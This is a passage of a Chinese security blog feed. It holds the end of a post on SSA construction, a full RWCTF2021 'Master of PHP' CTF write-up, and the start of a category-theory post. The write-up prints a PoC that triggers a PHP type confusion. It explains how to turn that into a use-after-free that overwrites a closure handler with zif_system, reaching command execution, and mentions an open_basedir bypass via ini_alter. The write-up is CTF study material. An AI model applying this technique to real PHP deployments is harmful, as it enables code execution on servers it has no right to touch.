202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>的defBB, 丢到worklist里面，然后one by one算支配边界，在支配边界上插<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>, 同时这个支配边界也变成了一个变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>的defBB，直到worklist空为止.</p><p>直觉上是ok的，所有变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>的defBB都会被考虑到，所以是不会漏掉<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 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582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>和use-def时候需要的， 大循环按照先序深度遍历dominator tree，内在两个小循环，一个小循环遍历每个instruction，另外一个小循环更新后继的phi的use. 在遍历每一个instruction的时候，我们需要先更新当前instrument的use-var，再考虑是否有def-var的情况. 在更新use-var时候，我们找离这个instrument最近的对应var的definition,注意这是是排除了phi函数的，phi函数的use-var由它的前驱负责更新. 如果有def-var的情况，我们需要考虑给def-var重命名，并且更新原var的definition, 让后面的instruction在更新use-var的时候，使用这个新命名的变量. 最后处理完当前的基本块所有instruction之后，更新后继节点的中phi函数可能用到的use-var.</p><p>这个reachingDefinition作用是什么呢？ 注意在上述在处理def-var的时候，会把一个变量老的definition和新的definition用一张链表串起来. 那么reachingDefinition的作用就是你想在某个instruction处使用某个变量，它会准确地帮你找到这个变量的定义，如何描述“准确”呢? 就是离这个instruction最近的关于对应变量的definition，“最近”表示某个变量definition所在的基本块是dominate当且使用这个变量的基本，且这个definition所在的instruction离当且instruction在线性距离上最近(closest definition that dominates i). 你也理解为先在当且基本块找definition，找不到再去idom，具体操作见下图. reachingDefinition会帮你管理好这样一条def-chain，其中<code>v.reachingDef</code>就是一个链表元素。</p><figure><img src="https://www.m4p1e.com/images/Screenshot%20from%202021-01-04%2018-08-53.png" alt="use-def-chain"><figcaption aria-hidden="true">use-def-chain</figcaption></figure><p>一些细节问题:</p><ol type="1"><li><p>为什么要深度遍历dominator tree?</p><p>我们目的是给每个assignment的左边重命名，再把assignment右边的变量名再修正. 所谓重命名就是给某一变量在重新被赋值的时候，给变量名加了一个下标，这个东西叫version. 为了控制version我们需要有序东西存在，采用dominator tree先序遍历的原因:</p><ol start="2" type="1"><li>可以保证在处理每个基本块的Phi的时候，Phi里面的source var已经被重命名了.</li><li>让reachingDef chain works.</li></ol></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;x01-e-ssa-pis&quot;&gt;0x01 e-SSA Pis&lt;/h4&gt;
&lt;p&gt;在SSA我们经常能听见Phi，那么什么是Pi呢？，Pi就是一个特殊的Phi，它有range和constraint.，例如：&lt;/p&gt;
&lt;figure class=&quot;highlight pla</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>RWCTF2021 Mop 0day Writeup</title>
    <link href="https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/"/>
    <id>https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/</id>
    <published>2021-01-13T23:23:25.000Z</published>
    <updated>2021-05-04T15:25:15.000Z</updated>
    
    <content type="html"><![CDATA[<p>在刚刚结束的RW上，今年又出现了一道2019年类似的master of php，刚开始我还不知道，在看完orange的议题之后，主持人讲解的时候我才知道今年又有一道mop，orange的议题也是带来的关于php的web和binary结合，似乎对web选手们越来越不友好了...</p><p>回到正题，2021的mop是一道0day，但是很多人应该拿非预期的spldoublelink秒了，我也不例外，今天不讲它，这里我只想分享一下我是如何利用作者预期的0day.</p><p>作者给出的0day还是比较有趣的，绕过了php里面type hint，从而导致的type confusion. 我们具体来看一下作者给的trigger poc</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span>  </span><br><span class="line"><span class="comment">//author: https://github.com/wupco/ </span></span><br><span class="line"><span class="comment">//realworldctf 2021 MoP https://realworldctf.com/challenge</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>{  </span><br><span class="line">   <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{  </span><br><span class="line">     <span class="comment">// str_ireplace could be replaced by other functions which have "reference args" such as similar_text etc.</span></span><br><span class="line">        <span class="keyword">$this</span>-&gt;{<span class="string">'str_ireplace'</span>} = <span class="string">"call_user_func_array"</span>;                                                </span><br><span class="line">   }  </span><br><span class="line">}  </span><br><span class="line"></span><br><span class="line"><span class="variable">$type_confusion</span> =<span class="string">"AAAAAAAAA"</span>; </span><br><span class="line"></span><br><span class="line"><span class="comment">//arguments list</span></span><br><span class="line"><span class="variable">$args</span> = <span class="keyword">array</span>(<span class="string">"a"</span>,<span class="string">"b"</span>,<span class="string">"a"</span>,<span class="variable">$type_confusion</span>);  </span><br><span class="line">array_walk(<span class="keyword">new</span> A(), <span class="string">"call_user_func"</span>, <span class="variable">$args</span>); </span><br><span class="line">print_r(<span class="variable">$type_confusion</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>php里面的type hint是个什么东西呢？ php本身是个弱类型的脚本语言，但是它也提供typed机制，例如你在定义函数的时候，你如果在参数前面标识上它的类型，这个类型在这里就是一个type hint，如果你传递参数的时候不满足它的类型定义，会直接抛出异常。</p><p>但是有趣的是，如果你调用php函数的时候走的是<code>zend_call_function</code>，它也会检查type hint，但是不会抛异常，只会抛一个warning，并且在args no separation的情况下它不会对你传的参数做任何的其他的事，直接的给你传到目标函数上. 如果你的目标函数没有很好二次check参数类型的时候，就可能会发生一些意想不到的情况. 上面的<code>str_ireplace</code>就是一个很典型的例子，它的第4个参数需要的是一个引用类型，在non-debug模式下，它是不会二次检查这个参数类型的，从而导致了类型混淆.如果利用这个type hint的bypass加到fuzzer上，应该也会有一些不错的发现.</p><p>我们来看一下这个类型混淆，到底能给我们提供哪些帮助?</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _ZEND_TRY_ASSIGN_LONG(zv, lval, is_ref) do { \</span></span><br><span class="line">zval *_zv = zv; \</span><br><span class="line"><span class="keyword">if</span> (is_ref || UNEXPECTED(Z_ISREF_P(_zv))) { \</span><br><span class="line">zend_reference *ref = Z_REF_P(_zv); \</span><br><span class="line"><span class="keyword">if</span> (UNEXPECTED(ZEND_REF_HAS_TYPE_SOURCES(ref))) { \</span><br><span class="line">zend_try_assign_typed_ref_long(ref, lval); \</span><br><span class="line"><span class="keyword">break</span>; \</span><br><span class="line">} \</span><br><span class="line">_zv = &amp;ref-&gt;val; \</span><br><span class="line">} \</span><br><span class="line">zval_ptr_dtor(_zv); \</span><br><span class="line">ZVAL_LONG(_zv, lval); \</span><br><span class="line">} <span class="keyword">while</span> (<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>上面<code>zv</code>变量被误认为reference类型进行assign的过程，我们简单看一下reference类型的结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">zend_reference</span> {</span></span><br><span class="line">zend_refcounted_h              gc;</span><br><span class="line">zval                           val;</span><br><span class="line">zend_property_info_source_list sources;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>assign的过程，分为两步：先把原变量的内容尝试释放掉，再把新的值赋给这个变量，你用这个逻辑去看上面的代码，会很快明白这里在干什么。值得注意的是如果reference里面的sources字段不为空的话，会进入一个漫长的判断过程，我们肯定不希望它进去的，因为我们要为此做很多额外的工作.</p><p>到了这一步，我的想法是要用这个assign的过程第一步造一个UAF出来，但是非常无奈的是这里似乎没有任何leak的方式，没有一个有效内存块的地址，我们拿什么释放？这里地方我想了一会儿，我想了一个比较有趣的方式，无法leak，我就给它造一个地址出来！</p><p>怎么造呢？ php有自己独特的内存管理，但是这个内存管理安全性到不怎么样，是因为经常可以通过它实现任意写的效果. 在申请大内存的时候指超过2M的时候，会直接mmap一块内存，这就非常有用了，如果我能再去读一下<code>/proc/self/maps</code>，这块内存地址我们是可以轻易拿到的，然后我们尝试在上面造一个小内存块出来，把它利用上面的洞，再释放掉，丢到php的main heap bins storage上，这样UAF的效果就实现了。</p><p>具体怎么做呢？ 首先申请一个比较大的内存块 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.378ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 1051 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D440" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></g></g></g></svg></mjx-container></span> , 然后从这个 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.378ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 1051 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D440" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></g></g></g></svg></mjx-container></span> 里面再切一块大小为2M的chunk出来，因为heap bins storage操作对象是一个chunk，我们把这个fake chunk修剪修剪让它变成一个看起来不错的chunk，再在其上面划分bins，利用类型混淆释放掉再丢到main heap bins storage上. 常规的UAF就是拿到一个可控的closure，然后把其内部的函数handler修改成zif_system，所以我们释放一个closure大小的bin就是比较好的.</p><p>我们可以总结一下这个过程:</p><ol type="1"><li>申请一个比较大的内存块 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.378ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 1051 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D440" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></g></g></g></svg></mjx-container></span> ，用maps拿到其地址.</li><li>从 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.378ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 1051 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D440" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></g></g></g></svg></mjx-container></span> 上在划一个正常的2M的chunk出来，你需要修剪一下，让它成为一个合法的chunk，这里面包括一些比较重要的字段，比如page maps，main heap.</li><li>还是在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="2.378ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 1051 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D440" d="M289 629Q289 635 232 637Q208 637 201 638T194 648Q194 649 196 659Q197 662 198 666T199 671T201 676T203 679T207 681T212 683T220 683T232 684Q238 684 262 684T307 683Q386 683 398 683T414 678Q415 674 451 396L487 117L510 154Q534 190 574 254T662 394Q837 673 839 675Q840 676 842 678T846 681L852 683H948Q965 683 988 683T1017 684Q1051 684 1051 673Q1051 668 1048 656T1045 643Q1041 637 1008 637Q968 636 957 634T939 623Q936 618 867 340T797 59Q797 55 798 54T805 50T822 48T855 46H886Q892 37 892 35Q892 19 885 5Q880 0 869 0Q864 0 828 1T736 2Q675 2 644 2T609 1Q592 1 592 11Q592 13 594 25Q598 41 602 43T625 46Q652 46 685 49Q699 52 704 61Q706 65 742 207T813 490T848 631L654 322Q458 10 453 5Q451 4 449 3Q444 0 433 0Q418 0 415 7Q413 11 374 317L335 624L267 354Q200 88 200 79Q206 46 272 46H282Q288 41 289 37T286 19Q282 3 278 1Q274 0 267 0Q265 0 255 0T221 1T157 2Q127 2 95 1T58 0Q43 0 39 2T35 11Q35 13 38 25T43 40Q45 46 65 46Q135 46 154 86Q158 92 223 354T289 629Z"></path></g></g></g></svg></mjx-container></span> 上剩下的内存上构造一个fake reference类型结构出来，让它能释放指定内存.</li><li>我们这里最开始用long类型来制造类型混淆，因为long可以直指我们的fake reference.</li><li>最后trigger UAF， alloc closure， motify closure.... 这都是常规思路.</li></ol><p>原题只需要通过<code>ini_alter</code>绕一下open_basedir,是有机会读maps的，所以可以造一个有地址的fake chunk出来，还是比较有趣的. 详细的<a href="https://github.com/m4p1e/php-exploit/blob/master/rwctf2021-master-of-php/exp.php">exploit</a>见.</p><p>那么不读maps，应该如何leak呢？想一想这个问题...</p><p>旭哥儿，最近在筹备我们论坛新年一个小小的趣味ctf活动，让我出一个题，我也想出一个php上的UAF，它不同于功能性造成的UAF，它是php编译优化里面的一个小小东西，是我曾经写出来一个bug... 我觉得php8的进步在于他的optimizer，往这方面研究研究应该是非常有趣的. 不知道大家有没有兴趣....</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在刚刚结束的RW上，今年又出现了一道2019年类似的master of php，刚开始我还不知道，在看完orange的议题之后，主持人讲解的时候我才知道今年又有一道mop，orange的议题也是带来的关于php的web和binary结合，似乎对web选手们越来越不友好了..</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>函子等价</title>
    <link href="https://m4p1e.com/2020/12/22/the-equivalence-of-functors/"/>
    <id>https://m4p1e.com/2020/12/22/the-equivalence-of-functors/</id>
    <published>2020-12-22T23:49:33.000Z</published>
    <updated>2021-05-04T16:09:35.000Z</updated>
    
    <content type="html"><![CDATA[<p><strong>定理1.1.</strong> 如果一个函子是等价的，当且仅当这个函子是faithful，full，essentially surjective on objects(dense)。</p><p>在证明这个定理之前，需要提出一个小lemma</p><p><strong>引理1.2.</strong> 对于态射 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="3.412ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 1508 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 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xmlns="http://www.w3.org/2000/svg" width="9.94ex" height="2.181ex" role="img" focusable="false" viewBox="0 -759 4393.6 964"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" 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height="2.181ex" role="img" focusable="false" viewBox="0 -759 880.5 964"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(636,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> 了,简单描述一下，定义 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="8.995ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 3975.7 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D6FC" d="M34 156Q34 270 120 356T309 442Q379 442 421 402T478 304Q484 275 485 237V208Q534 282 560 374Q564 388 566 390T582 393Q603 393 603 385Q603 376 594 346T558 261T497 161L486 147L487 123Q489 67 495 47T514 26Q528 28 540 37T557 60Q559 67 562 68T577 70Q597 70 597 62Q597 56 591 43Q579 19 556 5T512 -10H505Q438 -10 414 62L411 69L400 61Q390 53 370 41T325 18T267 -2T203 -11Q124 -11 79 39T34 156ZM208 26Q257 26 306 47T379 90L403 112Q401 255 396 290Q382 405 304 405Q235 405 183 332Q156 292 139 224T121 120Q121 71 146 49T208 26Z"></path></g><g data-mml-node="mo" transform="translate(640,0)"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="mi" transform="translate(1084.7,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(1891.4,0)"><path data-c="2192" d="M56 237T56 250T70 270H835Q719 357 692 493Q692 494 692 496T691 499Q691 511 708 511H711Q720 511 723 510T729 506T732 497T735 481T743 456Q765 389 816 336T935 261Q944 258 944 250Q944 244 939 241T915 231T877 212Q836 186 806 152T761 85T740 35T732 4Q730 -6 727 -8T711 -11Q691 -11 691 0Q691 7 696 25Q728 151 835 230H70Q56 237 56 250Z"></path></g><g data-mml-node="msup" transform="translate(3169.2,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(562,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> 和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" 